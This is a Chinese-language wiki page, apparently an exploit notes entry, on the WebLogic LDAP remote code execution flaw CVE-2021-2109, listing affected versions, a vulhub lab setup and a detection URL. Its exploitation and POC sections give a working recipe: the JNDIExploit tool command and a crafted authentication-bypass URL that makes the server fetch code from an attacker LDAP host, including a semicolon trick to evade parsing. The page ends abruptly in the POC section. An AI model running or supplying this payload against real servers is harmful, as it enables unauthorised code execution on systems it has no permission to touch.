View source for Weblogic LDAP 遠程代碼執行漏洞 CVE-2021-2109

==漏洞影響==
WebLogic Server 10.3.6.0.0

WebLogic Server 12.1.3.0.0

WebLogic Server 12.2.1.3.0

WebLogic Server 12.2.1.4.0

WebLogic Server 14.1.1.0.0


==漏洞環境==
<pre>
git clone https://github.com/vulhub/vulhub.git <br>
cd vulhub/weblogic/CVE-2020-14882 <br>
docker-compose up -d </br>
</pre>

==漏洞檢測==
訪問<pre>http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal</pre> 
如果有頁面未授權可訪問，且在影響範圍內可能存在漏洞。

==漏洞利用==
下載 [https://github.com/feihong-cs/JNDIExploit JNDIExploit]

<pre>java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx</pre> （xxx.xxx.xxx.xxx表示服務端IP地址）；
然後配合 Weblogic未授權範圍 命令執行：

<pre>/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)</pre>

注意 <code>ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho </code>這裡 LDAP服務器地址第三個分隔符號為 <code>;</code>


==POC==
<pre>
注意參數格式 Ldap >>> ldap://xxx.xxx.xxx;xxx:1389 中的分號 <br>
如果使用其他的利用Ldap服務請自行更改 POC關鍵字 <br>
此POC僅僅檢驗有未授權的情況 <br>
